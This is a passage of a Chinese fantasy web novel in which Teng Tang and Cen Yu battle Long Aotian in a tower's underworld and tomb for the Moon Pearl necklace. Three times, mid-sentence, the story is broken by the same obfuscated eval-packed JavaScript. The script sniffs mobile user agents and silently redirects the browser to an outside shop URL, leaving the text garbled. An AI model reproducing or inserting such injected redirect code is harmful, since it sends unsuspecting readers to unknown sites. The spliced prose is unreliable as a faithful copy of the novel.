熟悉的名字令滕棠发怔,暗中摇头:“不可能。” 岑羽的声音不是这样的,况且之前岑羽为救自己,被李婪深打成鳞片,她曾带在身上刷怪为伙伴升级,对方一直未炼成魔体在自己面前现身过。 岑云岭抿唇,漆黑的双眸盯向对准他的刀尖。绯红的血一滴一滴垂落,无声无息浸进暗黑的泥中。 他单指移开长刀,走过去微微俯身,拈起滕棠的长袖。喉结起伏之后,音色有些改变:“你可知衣上泥污,乃血肉之躯所化?”话毕,略带嫌弃地提上来,让袖中柔荑碰到他的脸。 得知身粘的泥是死尸消融而成,滕棠背上直冒冷汗,左手像提线木偶般僵硬,右手不自在地掐了个净身诀。 她干咳一声,指尖慢慢摸向对方的脸,双颊怪异地升温,须臾想起岑羽肥唇鼠眼的相貌,仿佛吹了一会儿冷风,脸色又正常起来。 手下的皮肤偏寒,有点肉肉的,摸起来是张圆脸,鼻子很塌,摸不到鼻根,眼睛细小……熟悉的人像逐渐在滕棠心中浮现。那个身形完美,连脑后勺都好看,唯独脸很别扭的伙伴——岑羽。 滕棠收回手,无端想起凌云和云令之死,心中悒怏。“竟是我的救命恩人……你为何在此处,有没有吸入赤芒毒?我有解毒丹。”她说着,将手掏向储物袋。 “不必。”岑羽目光聚于一侧墙面中心,专注得好似能透过层层高阻,看到某个重要的东西。 黑暗对他来说亦是白昼。被困炼狱万年,他对这儿的地形与阵法了若指掌,只稍瞥了眼壁上焰火,与虚淡的横符印迹,便步履沉稳地走向炼狱中心:“跟我来。” 滕棠看不见他,等人从身边经过,搅起一波灵气,她才有所觉地跟上:“你莫非一直在炼狱内?”若是在八角塔一至十层,不可能不受赤芒雾的影响。 岑羽淡淡地应了一声,脚步忽然加快,幅度大得滕棠几乎跟不上。怪异的是,本来啸叫的凶兽,声音都弱了,滕棠几乎怀疑炼狱是他家。 “你认不认识杀浮、屠丹,亦或万象?” 滕棠的提问,让岑羽稍稍停顿,眼睑弯拱,像是想到什么有趣的事:“不认识。”遂信步绕过一扇死门,深入更中心的窄道。 “真奇怪……”滕棠在他身后,低喃了这么一句。 也许这几人都被困在某个地方,她在心中思索。结合召唤卡的限制,也能想通,被召唤时间最长的,是离自己最近的;或者跟实力相关,伙伴越强出现的时间越短。 摇摇头,罢了,知晓这些也无用,系统不可能更改召唤规则。 “我们要去哪儿?你在炼狱多久了?对这一带很熟悉么?” 滕棠并未在意岑羽古怪的声音,而是好奇他为什么带自己走这么久,却一只妖兽都未遇到。 “很久了。”岑羽简短地答复她,听着不是很想提及此事。 他停在某个十字交叉的中间,观测黑焰的燃烧方向。纤长的食指在四个折角上,各画了一个法阵。不消片刻,十字通道忽然合拢,只剩他们所站的空间。 头顶遥遥如指甲盖的明珠,在接近他们,一点点增大,其光辉也逐渐变强。四周原本伸手不见五指,此时滕棠却能看清岑羽的背影。黑纱金纹,披背的长发晃动。 她听见前面的人用一种半夸半恨的语气,说道:“祥天门有点本事,竟寻得仙塔镇心位置。可怜被拿来镇亲人尸骨,不知此处厉害。” 仙塔仿佛被压扁,顶上的明珠离他们越来越近。等光芒照亮炼狱,滕棠看见前方三个冰棺,讶异了下。 这不就是她搬走李偲缨的地方?她抬头,上方的地牢已经一块石头不剩,这三具冰棺也许是跟着掉下来的。 有圆形法阵的保护,冰棺并未受损,隔着黑字游走的烟幕,那两个长的冰棺仍躺着一老一少,短的那棺则打开着,里面空无一物。 之前在地牢时,法阵为复杂的五行四象灵阵,外显乃是灵光水幕。此时变五行四杀魔阵,黑烟缭绕,时而聚成滚动的墨字,时而鼓出嗔怨悲悔脸,见之瘆人。 除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032707|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵法奇怪,他们所处的地方也诡异。十字道折合之后,空出一片区域,石壁离他们远远的,在周边撑起熊熊黑焰。滕棠数了数,八面石壁、八个角。 “这是什么地方?”她问。 岑羽顶着那张肉肉的脸,眼睛小得看不见,蹲下身子,边解阵法,边道:“核心之地,魔傀阵下是鹿明月的龛室,藏着真正的明月镇魔珠,头顶那颗是器灵假幻的。” 滕棠睁着眼,仰头望向明亮的塔顶,随后若有所思地盯着岑羽动作。她目光停在[15级]旁边的三角标上,反复点开,所得信息始终是:[岑羽,15级,魔修。天赋技能:无。] 比任何人都要简短,像是系统消极怠工,连性别都懒得写。明明是男子、单火灵根,却连最简单直观的两样都不判定。 滕棠回忆起自己曾翻过的几本书,说冥无大陆无奇不有,魔族之人叛常规而行,言行举止怪诞荒谬,有一天二十四顿吃人的,有八百年不剪指甲的……她当时以为是灵修丑化魔修,现在看来,或许真的种族奇特,不然为何两者给的信息不一样? “有人来了。”岑羽解阵解到一半,突然起身握住滕棠的手腕,定在阵外五米远的地方。 黑烟绕在他们身上,若有若无地形成屏障。滕棠眨眨眼睛,视野被割裂为两种,一是面前的黑烟,二是外面空荡荡的八角区域。他们二人,好像在又不在。 在她疑惑时,岑羽传声解释:“此为幻阵,勿出声。” 没过多久,八面墙忽而失去棱角变圆,忽而凸出脊骨形成八角。三两下之后,熟悉的人出现在五行四杀魔阵前,一头竖立的红发,通体密密麻麻的红色血管。 才几个时辰不见,龙傲天实力又涨了两层。他瞪着金目,瞳孔竖立,眼周一圈黄光。扫视四周后,对着滕棠和岑羽的方位,翘起嘲讽的嘴角。 这一瞪,令滕棠悚然,仿佛被狮子盯上。 “玄眼五阶。”岑羽拽着她的手腕,迅速退至东南一角,并对她小声道:“我实力低微,施的幻阵不足以蒙蔽五阶玄眼。” 这一角与其他七角不同,在折点处有一根隐匿的白链,由数个单环首尾相连。白链细小,被埋在血泥之中,若不是岑羽捻出来,滕棠根本注意不到。 岑羽用拇指与食指夹住链尾的弧形扣,于不同的单环勾拨。转瞬间,八面墙开始随他动作变幻,向龙傲天方位困去。 “滕棠,你果然与魔族朋比为奸,残害同门弟子!阿斓是伏火宗大师姐,此事让伏火宗的人得知,他们定让你碎尸万段!” 龙傲天的声音在八角区域内回荡,令滕棠腰间的灵兽袋躁动。她低头将口袋系紧,这才想起秦阿斓似乎和龙傲天结了兽契,纵使没有玄眼,他也能感受到洛赤鹰的存在。 龙傲天神色不动,瞪着一双黄光澄澄的眼睛,在二人身上半天读不出命。 玄眼升至五阶,本该能读出浅薄的命字,比如他师父——“神仙命。半生坎坷,得一高徒,大仇终报”,比如他自己——“主宰命。四海结仇,天道气运,遇强则强,妻妾成群,神龙傲天”。 再观那二人,不管是那魔修还是滕棠,皆只能读天赋,不能读命字。魔修身前,古怪浮现一串天赋之字:“至幻黑煞九幽黄泉斩天妖夜不灭魔神之分-身”,同那日在雾蓝秘境遇见的魔修一模一样。 而滕棠没什么变化,身前仍是那四个天赋之字“至柔仙体”。 为何读不出两人命字?怎么回事?滕棠身上的宝贝,难不成还能隐瞒世上最厉害的玄眼?不仅能遮掩自身的,还能帮那魔人遮掩? 龙傲天怔愣了一会儿,戒指里的李老忽然凝出虚影,两掌合十,对四面逼来的石墙出手:“不好,那小子手上的是明珠链,快解阵夺明珠,不要让他完全控制焰壁。” 龙傲天回过神,从神戒中拿出一墨色宝盘。方盘黑乎乎的,勉强能看清几个深镌的符籙云篆。 这器物滕棠见过,当初在地牢里,龙傲天就是凭借它快速解开祥天门布下的阵法,触碰到李偲缨的冰棺。 “岑羽,快!他手里的东西能解阵。”滕棠甩出两把飞刀,以五色灵力操纵着,一左一右旋向龙傲天的手臂。 岑云岭怎会不知道那宝盘的厉害,那魔器是他亲手炼制的,放在不死神戒的一个火炉内。以龙傲天的实力,断不可能取出来,肯定是藏在里面的老头,用了什么法子困住神戒器灵,耗尽心思偷他东西。 身形虚淡的老头目不斜视,双掌推向身后的石壁,对龙傲天大喊道:“徒儿,明月珠!” 49. 第 49 章 龙傲天心领神会,用巨剑和斩天神剑相护,对滕棠狞笑了下,转身携墨色宝盘跳入五行四杀阵。 魔阵如同水面被投入一颗石子,漾出层层涟漪,幕上的烟字与嗔怨悲悔鬼脸扭曲,惵惵几声后,轰一下扑散开。与此同时,八面石墙外,声音嘈杂,聚集了不少的人和妖兽。 头顶的明珠照亮了整个炼狱,光芒柔和,逐渐坠落到这最底层的中心位置。明月塔的上空像丢了星月的深夜,黑黢黢罩在头上,充斥着沉闷与压迫。 明珠自低于一层之后,就开始迅速缩小,圆滚滚的,又像羽毛一样轻飘飘的。它坠落得极其慢,在体积缩小后,只照亮炼狱最中央的八角区,攫取下方每个生灵的渴望。 滕棠抬头望了一眼,立马被慑住心魂,幸亏被岑羽用魔气遮眼,才惴恐地脱离出来。她捂住狂跳的心脏,满头大汗:“这珠子太诡异了……” 岑羽有条不紊地用石壁作围栏,将外面的人与妖隔绝。另一只手的指尖点拨几枚单环,令龙傲天的师父不得空闲。 五行四杀阵已经被解开,里面三具冰棺一点点化成水,把那片区域滩成深色。不到一会儿,两具尸身暴露出来,一正一反趴躺在水迹上,被明珠的光照得惨白如雪。 这时,滕棠丹田盘绕的地蛟蛇似有所应,苏醒过来,探出半透明的头,对她理所当然道:“那两人气运经不住挹取,早就切断轮回,魂飞魄散了。留在这儿化成泥,不如为我所用,以后还能带他飞升,你帮我存放年轻那具,每日凝灵气成冰,冻好我的新壳子。” 滕棠气得白他一眼,实在没想通,杀浮大佬给他们结契,到底谁是主谁是仆。除了那堆抽不到好东西的奇石,她天天给付岚山输送灵气养魂,现在还要听他使唤。 “这是你求人的态度?” 她单手捏向无实体的蛇魂,磨牙道:“天天吃我那么多灵力,以后要是百无一能,我就把你抽筋扒皮,煲汤喝!” 滕棠表情狠起来,是真凶。付岚山瑟缩了下,圆滚滚的蛇目半闭着,不敢看她,泪花可怜巴巴地溢出来,再三保证:“我以后会很厉害的!” 前方的岑羽还在操控珠链,与老头子抗争,看他忙碌的背影,暂时顾及不上自己。滕棠足下汇聚灵力,持刀从右侧,接近中心点。 困住老头的墙壁滑溜溜的,滕棠谨慎地行走边缘,来到阵心位置。这儿一个人都没有,龙傲天不知去了何处,只剩两具湿淋淋的尸身。她迅速把年轻那具装进背包,随后回到原处,助岑羽一臂之力,把灵力渡给他。 岑羽浑身是汗,抬眸看了眼明珠的大小与降落速度,过了会儿掐着时间对滕棠道:“龛室即将出土,我操控镇魔墙困住此人,你去鹿明月的金龛内取明月珠。明月珠是塔的核心,找到它便能控制整座宝塔。” 话毕,他合目默念了段文字,额头出现一点暗红色的光,像一簇小火苗,飞到滕棠手心。 小火苗内的事物只有滕棠能看见,她汇五色灵力于眼内,开了灵眼后,发现手心上是幅画。白色的墙壁中央,嵌着一个金龛,白玉女像端坐其中,身上的衣裳由点点月辉聚散而成。皎洁光辉宛若萤火虫,一会儿攒拢肩上,一会儿散在腰间,好似一件灵动缥缈的仙纱。 整幅画面,最抢人眼目的,乃属玉女像的脖子。细银环链末端,一颗洁白无瑕的珠子静静吊着,它虽是寂止的,却是一切动态的源头。所有飘动的光辉,都是从珠子的光圈飞出去。 滕棠握住火苗,转头发现岑羽手里的环链有异,不仅变得粗重,还从土里延长,另一端连接至……她顺着银链逐渐抬起头。 “勿看!”岑羽清脆的声音呵止她。她停留中途,意识到再上一点是那颗坠落的珠子。 岑羽化了团魔气到她眉毛处,遮蔽视线:“我手里的明月珠项链只能控制炼狱,鹿明月的墓内才是真的。” 他的手腕上缠绕了数圈银链,在天上明月珠完全落下来时,两手一拉,将珠子握在手心内。眨眼间,炼狱又变成漆黑一片,甚至比之前还暗。 抛了抛手里的项链,岑云岭神色难看地让镇魔墙复位,自言自语:“此人炼器造诣不浅,偷了我隐寸针逃回不死神戒内。” 由于镇魔墙移动,以及阵心浮出的墓室轰轰响,滕棠什么也没听清,忙问:“那老头怎么了?他实力很强,我们现在什么都看不见,小心点。” 岑云岭偏头,第一次看见她紧张兮兮的样子,觉得有些好笑,于是多盯了一会儿,才道:“那白发灵修受损不轻,已经缩回戒指里了,须养上好几月才可出来。” 不知是不是因系统伙伴功能的存在,滕棠对岑羽有种莫名的信任。他说老头已离开,她立刻松了口气,他说墓室入口在前方十步,她毫不犹豫地被拉着手腕,往乌墨里走,像是相处了很久,养出来某种默契。连滕棠都忘了,他们才第二次见面。 唯有她丹田处半睡半醒的付岚山,以古怪的眼神盯着岑羽,在某几个瞬间,它好像感受到熟悉的血脉压制,想起来跟遇到杀浮大人时很像。可每当它想探寻岑羽的本体时,得到的答案却是一团魔雾。 墓室入口由镇魔墙砌成,其中有一面倾倒折叠成阶梯状,层层往下,中间冰滑易跌跤,两侧有一米高的黑色火焰。 岑羽给她描述了前方的路,让她小心左右的火后,拽着她的袖子深入地下。一面半真半假说起自己的遭遇,一面询问滕棠对龙傲天的了解。 这短短的路上,几乎都是岑羽一人在说。滕棠自与这具废柴身体完全融合后,就没了原主的记忆,因此帮不上什么忙。倒是经过这一段距离,对岑羽了解很多。脑海中不断浮现伙伴的种种,心里直感叹他好惨好幸运。 年轻时是福鹿宗的弟子,在妖魔森为人陷害,误入炼狱后一直出不去。但老天开眼,让他找到操控炼狱镇魔墙的明月珠链,才侥幸活下来。这样的经历,少说也是个炮灰级别的人物。 踏下长长的阶梯,尽头终于有了明度。方格雕月金扇门半开,里面金碧荧煌,仿佛来到某位上仙的宝殿。仅透过一线缝隙,便能窥到里面金龛的华丽。 阶台处有光,隔着半开的门和镇魔墙,龙傲天的标识像游戏穿模似的,于右侧墙中央晃动,绿色的数字正慢慢变小,他在远离墓室门。 滕棠看旁边的人并不急着进去,便没动作。她见岑羽弹出一缕淡烟,飘进门缝,须臾之后对她道:“龙傲天是天道之子不假,鲁莽闯入,这么多机关,却一个没中招。” 滕棠讶异了下,心想,这苍天对主角也太偏爱了。她双目右移,追龙傲天的标识而去,对岑羽说:“那正好,我们给他制造点人生坎坷与挫折。” 墓室内比一至十层还明亮,甚至说刺眼。两人站在门口,面前的路很像之前通往虚无门的那几条,有土铺的,有金砖垒的,有沉木搭的……不同之处在于,下方没有水,几十条路是浮空的,如同交缠的蟒,布满整个墓室空间,却互不相接,交会的地方要么拱起一人高,要么低伏在下。 每一条路都有数个分支,通往不同的金龛,有的可以去好几千个,有的仅几个。墓室有八面,每面高百丈,上面整齐嵌着密密麻麻的金龛,一模一样,远远地看,还以为是砌墙用的雕花砖头。 龙傲天已经离开了这处墓室,标识完全寻不到。滕棠张开手心,一簇暗红色的火苗内,是鹿明月的真龛像。再抬头,八面墙的金龛中,端坐的是一位白眉捋须的老人,容神和蔼可亲,身上的月辉灵衣与鹿明月的很像,但光点是静止不动的。 “这是鹿明月的爹,鹿祥云。”像是看出她有疑惑,岑羽解答道。 他停顿片刻,随即说起明月大陆的往事:“明月八角塔与明月珠项链是鹿族耗尽心血之作,可惜鹿祥云短见薄识,与浮光沆瀣一气。他被浮光害死后,他女儿鹿明月误以为其父被魔族所害,一直侵犯冥无大陆领地。她不在的时候,鹿族内乱,她死后,明月大陆分裂成几个门派。” 这段历史,滕棠在鹿焰宗的藏书阁内曾囫囵看过,现在听他提起,脑中闪过几个门派,感慨道:“原来八大门派本是一家人。” 连接阶台大门的五条路,每隔一段时间会替换成另五条。滕棠惊奇地看着这一幕,问他:“我们走哪一条?” 岑羽未答,等路变了两次后,指着最中间的白玉石道:“这条。” “你来过这里?”滕棠紧跟在他身后,越来越好奇岑羽怎么会知道这么多。 “当初我被困之地,便是墓室。” 鹿明月实力不够,为报父仇,便以死将他分-身镇压,临终之际将墓室建在镇魔大阵核心之上。这万年来,岑羽都是望着她和她爹的无数金龛玉像度过的,到现在,这里的一厘一毫都记得。 白玉路忽陡忽缓,滕棠借灵力攀爬一段后,头有些眩晕,总觉得墙上密密麻麻的玉像在笑。她甩甩头,模糊的视线中,出现一个老人,背负双手对她和蔼笑道:“明月,把新学的宝珠手式,掐给爹爹看。” 下一秒,又出现同样的老人,坐在旁边品茶,摸着胡子道:“白珠是仙塔之灵,你一定要和它熟悉亲近,不然往后它不肯认你。” 滕棠闭上眼睛,默念了一段清心经,同时使用了颗解毒丹,怕自己吸入毒出现幻觉。等灵台清明之后,她睁开眼,面前多了好几个鹿祥云。 个个姿势不一,都在对她笑,说不同的话。她只好凝聚识海的精神力,于体外游走,神色逐渐疲惫下来。 透明的精神力经过的地方,短暂破开幻象,露出模糊的白玉石路,偶尔显现一点金纹黑纱。 这幻象很奇怪,并不抹除她记忆与思维,出现的人都是鹿祥云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032708|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有攻击之意,看起来像是鹿明月的回忆。滕棠扶着胀痛的额头,调动那点精神力从肩旁至腹前,努力冲破幻象。 在精神力抵至身前时,她眯起双眼,模模糊糊看到系统的文字。她弯腰低头瞧,半晌后才辨认出是[收集]二字,于是汇聚注意力,往那儿点。 幻象眨眼间消失,她踉跄进一个坚硬的怀抱。 别看岑羽的脸圆圆肥肥,脖颈双下巴,身材却不错,滕棠感受到了他的八块腹肌。被对方扶起时,她还有点蒙,抬头入目一张贼眉鼠眼甚是难看的脸,当即缓过神来。 “你能破忆情珠幻境,把它收走?”岑羽不可思议地盯着她。 连他都不知道,鹿祥云的墓室还藏着忆情珠。方才绿珠子从顶上飞来,措手不及,停于滕棠身前,他以为要在此处耗上几个时辰。 “破了什么珠子?我刚才怎么了?” 滕棠云里雾里的,不知道是什么东西让自己看到几十个白发笑颜老头。正准备打开系统看看是何物,却忽然收到提示:[正在下载补丁包,请稍等片刻……] “仙品级的忆情珠,所幸鹿明月放它是为追思她爹,未伤你识海。” 岑羽环视四周,生怕再飞来隐匿的灵器。这之后走的每一步,都更小心了。 偶然获得一件仙物并没让滕棠高兴,她看起来心不在焉,垂头跟在他身后,一脸神游。系统早不更新晚不更新,偏偏此时打补丁,要是遇到什么事,她区区练气几层的灵力,根本不能应对。 她注意力集中在进度条上,补丁包的下载速度很慢,还剩约六分之五。 脚下的白玉路已行至尽头,岑羽将手放在鹿祥云金龛上,轻轻一推,翻转出鹿明月墓室的入口。 他回头发现滕棠走神,纤长的食指在她额心一点,问:“在想什么?你的识海完好无损。可是消耗精神力乏了?” 滕棠心绪不宁地点点头:“是有些。” 岑羽思索一番,弓腰半个身子钻进门洞:“你在此处歇会儿,我去里面拿明月珠项链。” 隔着一面金龛高墙,龙傲天的标识又在上方晃动。滕棠连忙拉岑羽回来,将鹿祥云的龛框翻转成正面。 “等一等,就半炷香时间。”思及炮灰与男主两个身份,她怕岑羽一进去就被秒杀。 岑羽收回放在玉像上的手,在空中划了一道,静默不语。这具分-身实力太低,不足以和龙傲天抗衡,两人一起进去确实更稳妥。 滕棠关注着进度条,一直等啊等,直到系统开始安装之时,龙傲天感受到洛赤鹰的存在,一爪翻转好几个金龛,站在半空的浮道上,杀意尽显。 他两手化龙爪,朝岑羽打去:“这里可没有镇魔墙给你当乌龟壳子用。” 岑羽挡在滕棠身前,两手结出双泰山般的手印,合出一道玄深的招式,魔气霎时变幻为重叠山脉,将龙傲天包围。 龙傲天出招的双爪停顿,神情像傻了般,眼球中的红丝一根根凸起。不过这招并没唬他太久,他头上的龙角雷电噼里啪啦响,不一会儿便破开山脉之势。 只是破招后,他发现这并非花拳绣腿,对方的手印极其诡谲,山脉一旦入目,无论是否破开,都会在他目内造成伤害。 于是在高山幻境消散之后,他痛叫一声,捂住半边流血的眼睛,一边调动大量灵力修复,一边怒吼道:“魔族惯会使些阴毒伎俩!” 神魔万象心法十分耗费精气神,须以浑厚的实力作支撑,岑羽即使简化了招式,出手后仍有些挺不住。身上的汗,多得把背湿透。 系统还差一点下载好,滕棠看出了岑羽后继无力,因而越过他,在龙傲天再次出招时,解开灵兽袋,把洛赤鹰控制在前方挡招。 赤芒雾的毒素已经淡去大半,秦阿斓此时神智是清醒的,只是妖身麻痹,僵硬呈傀儡状,不受掌控。她焦急地望着龙傲天啼叫,声音只有结契为主人的龙傲天听得懂:“龙哥哥,救我!” 滕棠虽听不懂鸟语,但这一长一短凄切的鹰鸣,要多惨有多惨。她以灵力控制巴掌大的红鹰,对龙傲天道:“你敢动一下你的爪子,我就扭断她脖子。” 初时,龙傲天犹豫了一下,不过很快铁石心肠,两爪交叉,残酷无情地瞪着她们。下一刻,锋利的金色龙爪,以骇人的气势破空划过去。 秦阿斓瞬间熄了声,鹰瞳急剧缩小,眼睁睁地看着爪子把自己划成两半,鲜血横飞。 长长一声鹰鸣,贯彻两个墓室,刺破耳膜。滕棠无意识地伸手接住她,两只手淋满温热的血,在剩余龙爪之力逼近时,恰好响起一声叮! [叮!系统重启成功。] 她反应迅速,在岑羽准备硬抗这一爪之际,招出两把弯刀,几下割破金色龙爪。 “呼——”她微不可闻地呼出一口气。 50. 第 50 章 手臂忽然变沉,她低头发现,秦阿斓幻化为人形,不到半截的身体躺在她两只手上,胸下血淋淋的,看得她头皮发麻。 伤成这样,秦阿斓还没死。皮肤煞白,由于胃下的身体被毁,她没有丹田,无法用灵力封住伤口,只能吐出鲜血,微弱地恳求滕棠:“救我,求你……” 她知晓滕棠听不懂鹰语,此时幻化为人,已是最后的力气。 滕棠纠结,无奈心存良善,见不得美女死在她手上,且秦阿斓并没真正伤害过自己,于是调出系统三节灵力条帮她封住伤口,将洛赤鹰装进灵兽袋中。 黑红色的长刀在手,滕棠钻过框口,与龙傲天遥遥相望:“你这人心真狠。” “成大事者不惜小费。她是我的妾、我的兽仆,为我牺牲,有什么不对之处?” 龙傲天似笑非笑,伸手后捋毛躁的红发,叉着腰一脸无所谓的样子。 摸着灵兽袋的血,滕棠指尖传来洛赤鹰的颤抖,暗道这姑娘真可怜,遇人不淑,白搭了美貌与天赋。 不过,当务之急是找到八角塔的核心——明月珠项链。 相连的鹿明月墓室,和鹿祥云的相差无几,八面高墙,数不尽的金龛玉像。每一个女像脖子都挂着白色的明珠项链,若相互比较,细致的人会发现,每件月辉灵衣的光点游走线路不同,有的聚拢在玉像头顶,有的飘在盘腿旁。 东西只有岑羽知道位置,滕棠被无数的光点晃花了眼,于是回头悄声对岑羽道:“我牵制他,你去找明月珠。” 岑羽点头:“好,你小心。”嘱咐完,毫不拖泥带水地去向东面。 龙傲天哪会让他们如意,虚空向滕棠甩出利爪后,转身追岑羽而去。他在空中跨过好几条不同的路,却奇迹地没牵引到阵法。 反观岑羽束手束脚,脚下的路稍跨出去,便有月辉飞出金龛,化为密集毒针向他刺去。 滕棠不知哪些地方不能走,只好跟上岑羽,在他身后御使弯刀护行。奈何远距离操纵难度较大,龙傲天的实力不容小觑,好几次让金爪险伤了岑羽。 “我今日必要你们葬身此处!” 龙傲天大喝一声,右手在空中一抓,斩天神剑立刻显在他手内。剑的外形长柄比上次见更为华丽,不仅多了颗赤红的宝珠,柄尾还垂了簇光亮的银丝穗。 剑威较昨日昂扬,杀气腾腾,一剑直攻岑羽心脉,伴随阵阵雷声,嗡鸣作响。要是中了这一剑,筑基期修者定命丧当场。 即使有所防备,滕棠亦低估了龙傲天变强的速度,她知晓他实力飞速上涨,却没料到他的剑可以进化。多了红珠与银穗之后,这道剑力,起码是昨日的两倍,而离他们上次交战的时间,仅过去一日。 在炼狱内,龙傲天一定有不小机遇。 双足点地,滕棠纵身扑向半空的剑,手里的长刀竖于头顶,大念出技能台词,狂抽体内灵力,将这一剑接下。 蜿蜒穿插的悬浮路中间,长刀和宝剑相撞,击出低沉钟鸣。龙傲天被余威震退一步,滕棠接连后仰,从空中落下,被岑羽接住。 “我没事。”她拂开岑羽关切的手,余光瞟到不远处异响的金龛。 约莫百米远外,一座金龛不停于墙内翻转,鹿明月的玉石融化成一滩白乳,脖子上原本静谧的明月珠,突然放大光圈,吸引光点回珠内。 三人看到这幅景象,当即反应过来,这是真明月珠项链,于同一时刻出手,朝龛内项链夺去。 明月珠愈发乳白,像是被什么吸引,拉扯着银链,在玉石融化之后,飞向滕棠的方位。而岑羽手腕上的假明月珠项链亦有所感,倏然松开,在空中和真项链交缠在一起。 两根项链光芒大放,互相旋转,完全分不清哪个是真、哪个是假。滕棠和岑云岭一左一右伸手,跃起身子,正要拿走。 龙傲天稍远一步,冷笑了声,出招把两根相缠的项链推得更开。 他们三人,就此在空中斗了起来。但奇怪的是,那明月珠项链每被推开,便会自主飞回来,偏向滕棠的方位。 情急之下,龙傲天顾不得受伤,在滕棠砍中他右腿时,他左手已经勾住其中一根项链。适时另一根离滕棠最近,她也抓住一颗珠子。 二人左右一扯,银链分开,相隔十米远立定。 之前地牢没毁时,滕棠周围到处都是灵器,系统会一直出现提示,吵得脑袋乱而胀疼。她便把系统提醒屏蔽,因而错过了重要的消息: [活动补丁包已安装,为了加强游戏体验,新增自动上交功能。玩家收集宝物后,超过30秒未上交,系统将自动兑换积分。] [你正在接受1V1挑战……] [发现罕见宝物] 三人乱斗之后,踏过数条悬浮道路,加之真明月珠项链脱离金龛,八面高墙即刻涌出无数光点,化为银针袭来,犹如漫天细雨。 这时,角色身份的作用显现出来,龙傲天那边仅飞去稀疏几根。他们这边多如牛毛,须用全部实力冻住。 滕棠换上绯红的饮血套装,把岑羽拉在身后,将系统刚恢复好的灵力条全部使用出来。 手里的明月珠非常凉,她略张开手心,给岑羽瞧了一眼,被告知:“无仙器之灵白珠,这条是假的。” 正当沮丧之时,那边龙傲天突兀攻来,怒喝道:“把真的那条给我!” 两边都不认为自己手里是真的。有光点银针在,墓室内争夺,对滕棠十分不利。且墓室内所有玉像开始融化,高大的八面墙出现裂缝。 岑羽当机立断,拉走她:“出去再说。” 他们一动,身后灵力散去,无数银针跟着追来。岑羽脚下化出黑色魔雾,带着滕棠提升速度。滕棠则默契配合他,在后方用灵力挡住密集的银针。 十几米外,龙傲天紧随其后,一双利爪打出道道淡金的虚影,招招狠厉,眼神恨不得将前面二人碎尸万段。他腿上的伤已经开始愈合,并未影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032709|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响行动。 漫天的银针,已让滕棠招架不住,现在又多个出手狠辣的龙傲天,体内的灵力很快枯竭下来,系统的灵力条根本没有时间恢复。 这时出现一个巧合,滕棠运转灵力期间,小指不小心勾到明月珠项链的某个银环。指甲松开后,右耳响起“镇北”二字,缥缈得仿佛是幻觉。 仅刹那间,龙傲天的金爪在眼前消失,天地忽然变黑,她和岑羽现身在伸手不见五指的炼狱角落。 两个人俱是一愣,对突如其来的环境变化感到诧然。 “龙傲天呢?墓室金龛呢?这是哪儿?” 滕棠四处摸索,发现左右很窄,滑溜溜的像炼狱石壁。 张开手时,明珠从手心吊下,白色的光圈把这一隅照亮,光圈内时不时飘出点点银辉,飞在滕棠周围,比萤火还要美丽。 “炼狱正北。”岑羽抓起她的手,将明月珠搌动翻转,直到项链倏地消失,才道:“是真的明月珠项链。” “什么!”滕棠又惊又喜:“你刚才不是说假的吗?” 岑羽眼眸里存在困惑,皱眉道:“里面确实无器灵白珠。”他伸出手,在黑漆漆的环境里忘了滕棠看不见:“你再拿出来,我用魔气探入其中,谨密寻查。” “?”滕棠眨眨眼:“珠子不是在你那里吗?” “……”岑羽沉默了。若不是在黑暗里,看滕棠一脸认真无辜,他差点以为她在开玩笑。 半天得不到答复,滕棠摸索到他结实的手臂,抓住问:“你怎么不说话。那珠子我不跟你抢,你是我救命恩人,无需担忧我觊觎宝物。” “我未拿明月珠项链。” 岑羽垂眸盯着她,声音没有一丝波澜。瞟了眼手臂上那只空荡荡的皙白小手,一点月辉都窥不见踪迹,好似明月珠项链从未出现过。他大为不解,滕棠为何这样说,此处又没第三人,明月珠项链还能自己消失不成? 事实确如他所想,宝物已经不存在了。核心丢失,明月八角塔没了“明月”之后,变成普普通通的八角塔,最多称得上是准仙品灵器。 八个塔角的月门逐一打开,从十层开始,里面的人被接连甩出去。直到八角完全汇通,炼狱亦发生变化,他们两侧的高墙忽然合壁,在挤过来的时候,二人眼前的景象再次大变。 须臾间,他们出现在一片废墟内。滕棠遥望四周,发现是鹿焰宗的后山,这儿早已被福鹿宗毁成残垣乱石,长了不少青苔杂草。 台下的莲花柱升高一尺,露出底下折角的基座。滕棠走近去瞧,发现不能进入明月八角塔,里面有一股力量在排斥她。 在原地站了一会儿,回头看到岑羽眉梢紧蹙,满脸不解地望向自己,她纳闷:“你这是什么表情?” 